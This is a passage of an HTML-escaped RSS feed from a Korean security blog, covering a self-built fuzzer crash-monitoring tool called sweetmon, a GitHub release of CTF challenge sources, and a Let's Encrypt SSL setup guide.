filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;(사진 재탕)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;바로 7번 처럼 올라오게 되고&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래 코드를 이용하여 핑체크 및 크래시, 로그 전송이 가능합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;from sweetmon import *&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F = Fuzzer(FUZZERINFO)&lt;/p&gt;&lt;p&gt;print(&quot;TEST PING&quot;, F.Ping())&lt;/p&gt;&lt;p&gt;print(&quot;TEST UPLOAD&quot;, F.Upload(&quot;test title&quot;, &quot;here\nis_l0g&quot;, &quot;/tmp/crashsample&quot;))&lt;/p&gt;&lt;p&gt;print(&quot;END OF TEST..&quot;)&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 업로드된 크래시는&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9996BE335993C9B126&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9996BE335993C9B126&quot; width=&quot;960&quot; height=&quot;254&quot; filename=&quot;스크린샷 2017-08-16 오후 1.20.18.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;( 또 재탕)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 서버에서 확인할 수 있게 됩니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;나머지 기능은 또 귀찮음으로 인해 언제 개발이 될지는 모르겠네요..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;언젠가 제 첫번째 오픈소스 프로젝트가 되면 좋겠습니다 후후&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;끝!&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/410</guid>
      <comments>https://pgnsc.tistory.com/410#entry410comment</comments>
      <pubDate>Wed, 16 Aug 2017 13:45:31 +0900</pubDate>
    </item>
    <item>
      <title>요즘 개발중인 퍼져 모니터링 시스템[?]</title>
      <link>https://pgnsc.tistory.com/408</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/236F404158FC4BCF29&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F236F404158FC4BCF29&quot; width=&quot;960&quot; height=&quot;490&quot; filename=&quot;1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;요즘 한창 개발중인 프로젝트 sweetmon 입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;sweetmon 은 제 닉네임 &lt;b&gt;sweet&lt;/b&gt;chip 과 &lt;b&gt;mon&lt;/b&gt;itor 가 합쳐져서 그냥 퍼져와 크래시를 모니터링 한다는 의미로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;재미로 만들고 있는 프로젝트 입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2673674158FC4BD02E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2673674158FC4BD02E&quot; width=&quot;960&quot; height=&quot;487&quot; filename=&quot;2.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;원래 이번이 처음은 아니었고 예전 브라우저 버그헌팅시 여러 VM에서 퍼져를 돌리고 한곳으로 모을때 잠시 php 버전으로 만들었는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;너무 귀찮아서 중간에 때려쳤다가 다시 퍼징할 일이 생기기를 몇번을 반복하다 보니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그때마다 편의를 위해&amp;nbsp;계속 크래시를 한곳으로 모아주는 것을 만들어야 하는 일이 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이번에도 그런 일이 있어서 그냥 이참에 하나 다시 만들자라고 생각해서 같은 동아리 부원인 @shc&amp;nbsp;의 추천으로 Django 를 접하게 되었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;웹 개발이라고는 PHP와 HTML로 살짝 건드려본 적 밖에 없어서 웹 개발쪽 시야가 좁았던 저에게는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;장고 라고 하는 프레임워크를 다루다보니 엄청난 신세계였습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;PHP보다 개발이 훨씬 간단하고 코드의 양도 확실히 줄면서 재미를 붙이다보니 기능도 계속 넣게되고..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;지금까지 오게 되었네요.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/217F344158FC4D5A01&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F217F344158FC4D5A01&quot; width=&quot;960&quot; height=&quot;519&quot; filename=&quot;3.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이번 포스팅의 사진은 거의 모자이크밖에 없지만..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실제로 돌리고 있는 모습입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;웹서버(Python+Django+Apache) 에서는 Fuzzer와 Machine /&amp;nbsp;Crash들의 정보를 받아와서 저장하고 뿌려주는 API를 제공해줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;예를들어 server.com/fuzz/crash 는 크래시가 발생했을 경우 업로드 기능을 지원합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이외에 현재 제보했던 버그 리스트를 저장할 수 있도록 간단한 메모 기능을 만들었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;기능을 간단히 정리해보면..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;퍼져 및 머신의 정보 출력 / 크래시 업로드 및 업로드 된 크래시 리스팅 및 정보 출력 + 1회용 다운로드 링크&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Fuzzer 업로드/다운로드&amp;nbsp;기능, Testcase 업로드/다운로드&amp;nbsp;기능&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;리포팅한 버그들 메모 기능&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;새로운 크래시 텔레그램 및 이메일 알림 기능&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;등이 있겠네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;상세한 기능들은 나중에 다시 정리 하는걸로 하고..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아무튼 sweetmon 을 만들게 된 계기는 윈도우에서든 리눅스에서든 맥에서든 어디서든지 어떤것을 퍼징을 하든&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;한곳으로 잘 모아주는 것을 원했습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그래서 본인이 만든 퍼져나 AFL같은 퍼져등을 이용해도 sweetmon을 이용할 수 있도록 만드려고 노력하는 중입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하지만 제가 개발 경험이 그리 많지는 않아서 쉽지만은 않네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;서버가 있으면 클라이언트도 있어야겠죠?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;클라이언트는 Python 언어를 기반으로&amp;nbsp;서버에서 제공하는 API들을 래핑하여 쉽게 사용할 수 있도록 제공할 예정입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;현재 목표 코드는 sweetmon.py 및 config.py 만 나눠주고 그것을 이용해서 본인의 퍼져에 맞출 수 있도록 하는 것이 목적입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그냥 퍼징 프레임워크라고 보시면 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아래 예제 코드를 보시면..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;from sweetmon import *&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;count = 0&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;F = Fuzzer(fConfig)&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;while 1:&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;if count % 1000 == 0:&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 4em;&quot;&gt;F.ping() # 서버에 핑 날림&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;log&amp;nbsp;= run(&quot;windbg ... ... ./fuzzer.exe&quot;) # windbg에서 생성된 로그파일 받아옴&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;if CheckCrash(log) == True: # CheckCrash 는 로그에서 크래시가 발생했는지 여부를 체크해주는 함수&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 4em;&quot;&gt;F.upload(&quot;0023:41414141=????????&quot;, &quot;./testcase1234.log&quot;, &quot;./testcase1234.file&quot;) # 서버에 Title 과 크래시 로그 업로드.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;count += 1&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;위는 제가 대략 생각하고 있는 것인데..&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 직접 만든 Fuzzer든&amp;nbsp;AFL같은 퍼져를 이용하든&amp;nbsp;로그파일을 분석하는건 모든 퍼져마다 다른건 당연하니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;퍼져 돌리는 함수 / 크래시인지 아닌지 판별하는 함수등은&amp;nbsp;각각 알아서 제작 하도록 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;클라이언트에서 제공해 주는 것은 핑 날리기 / 파일 업로드 (Title, 크래시 로그, 크래시파일) 등 서버와 통신에 필요한 기능만 제공합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그래서 어느 운영체제에서든 python만 지원되는 환경일때&amp;nbsp;각 퍼져에 맞게 간단한 코딩만&amp;nbsp;해주면&amp;nbsp;퍼져 및 크래시를&amp;nbsp;서버에서 모니터링을 할수 있게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;추후엔 암호화 기능도 넣고 여러 유저가 크래시를&amp;nbsp;공유하는 기능도 만들고&amp;nbsp;지금 있는 버그도 고치고 여러가지 할게 많네요.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;제가 주로 쓸 용도로 만드는 것이긴 하지만 오픈소스로 공개할 예정도 있습니다. (물론 쓸 사람이 있을진 모르겠지만요.. ㅠ)&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;하지만 언제가 될진 모르겠네요 ㅋㅋ&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;시험기간에 심심해서(!?) 오랜만에 적어봤습니다.&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/408</guid>
      <comments>https://pgnsc.tistory.com/408#entry408comment</comments>
      <pubDate>Sun, 23 Apr 2017 16:05:50 +0900</pubDate>
    </item>
    <item>
      <title>GITHUB 업데이트 완료!</title>
      <link>https://pgnsc.tistory.com/407</link>
      <description>&lt;p&gt;1월 포스팅을 하면서 올해는 정보공유좀 해야지 하고 다짐[?] 했던 것이 생각나서 처음으로 깃헙을 업데이트 했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번에 공개한건.. 작년 6월쯤에 애플에 제보했던 Rootless bypass 취약점과 2015년 Codegate 에서 출제한 두가지 문제(Bookstore, Bookstore2)의 소스코드를 공유했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SSG CTF를 준비하면서 CTF문제를 처음 출제하는 친구들에게만 공유 하려다가 그냥 묵혀두면 뭐하나 해서 전체 공유를 하기로 했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;앞으로 취약점레포에는 올릴수 있는 취약점의 POC코드를 공개할 예정이고.. (가능하려나...)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 예전에 출제한 다른 CTF들의 문제도&amp;nbsp;공개할 예정입니더.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/sweetchipsw&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/sweetchipsw&lt;/a&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/407</guid>
      <comments>https://pgnsc.tistory.com/407#entry407comment</comments>
      <pubDate>Tue, 4 Apr 2017 11:00:07 +0900</pubDate>
    </item>
    <item>
      <title>무료 SSL 인증서 발급 받기 (letsencrypt)</title>
      <link>https://pgnsc.tistory.com/406</link>
      <description>&lt;p&gt;얼마전에 SSL 인증서를 사용해야 할 일이 있어서 정보를 찾던 중 letsencrypt 라는 것이 있다고 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;자세한 정보는 아래 링크에서 확인 하자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://letsencrypt.org/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://letsencrypt.org/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;설치는 우분투 기준으로 apt 로 가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;apt install letsencrypt&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하면 설치가 끝난 것이고&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sudo letsencrypt certonly -a standalone -d &lt;b&gt;domain.com&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;를 입력하면 인증서가 만들어진다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;self-signed가 아니라서 빨간 자물쇠도 아니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;*참고로 80번 포트를 사용하므로 웹서버등의 80번 포트를 사용하는 프로그램은&amp;nbsp;잠시 닫아줘야 한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;IMPORTANT NOTES:&lt;/p&gt;&lt;p&gt;&amp;nbsp;- Congratulations! Your certificate and chain have been saved at&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;/etc/letsencrypt/live/&lt;b&gt;domain.com&lt;/b&gt;/fullchain.pem. Your&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;cert will expire on &lt;b&gt;2017-mm-dd&lt;/b&gt;. To obtain a new version of the&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;certificate in the future, simply run Let's Encrypt again.&lt;/p&gt;&lt;p&gt;&amp;nbsp;- If you like Let's Encrypt, please consider supporting our work by:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;Donating to ISRG / Let's Encrypt: &amp;nbsp; https://letsencrypt.org/donate&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;Donating to EFF: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;https://eff.org/donate-le&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;위와같이 안내가 나오고 후원등의 정보가 나온다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;$&amp;nbsp;sudo ls /etc/letsencrypt/live/domain/&lt;/p&gt;&lt;p&gt;cert.pem &amp;nbsp;chain.pem &amp;nbsp;fullchain.pem &amp;nbsp;privkey.pem&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아파치 설정의 SSL 설정은 아래와 같이 하자&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SSLCertificateFile &amp;nbsp; &amp;nbsp; &amp;nbsp;/etc/letsencrypt/live/domain.com/cert.pem&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SSLCertificateKeyFile /etc/letsencrypt/live/domain.com/privkey.pem&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SSLCertificateChainFile /etc/letsencrypt/live/domain.com/chain.pem&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;인증서 기간이 90일로 짧은 편이긴 한데 명령어 몇개로 간단하게 갱신이 가능하다고 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;무료에 crontab 등으로 일정 기간마다 갱신하게 하면 편할 것 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;원래 startssl을 이용하기도 했었는데 이건 명령어 몇개만 입력하면 인증서가 만들어져서 훨씬 편하다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;참고로 갱신하는 명령어는 아래 명령어로 끝난다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[root@localhost ~]$ service apache2 stop&lt;/p&gt;&lt;p&gt;[root@localhost ~]$ l&lt;b&gt;etsencrypt renew&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SSL 인증서 설정을 위와 같이 live 디렉터리에 했다면 심볼릭링크로 새로운 인증서로 자동으로 연결되므로 경로를 바꾸거나 하지 않아도 좋다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/406</guid>
      <comments>https://pgnsc.tistory.com/406#entry406comment</comments>
      <pubDate>Thu, 2 Feb 2017 03:25:10 +0900</pubDate>
    </item>
    <item>
      <title>블로그 분리 및 공사 중</title>
      <link>https://pgnsc.tistory.com/405</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/27445450585CABB30C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F27445450585CABB30C&quot; width=&quot;960&quot; height=&quot;720&quot; filename=&quot;KakaoTalk_20161223_134338793.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;(사진은 학교 주변 카페의 멍뭉이)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;역시나 오~랜만에 블로그 포스팅&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;기말고사도 끝나고 회사에서 하는 강의도 끝나고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;올해 해야 할 일은 다 끝난 것 같다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이제 남은건 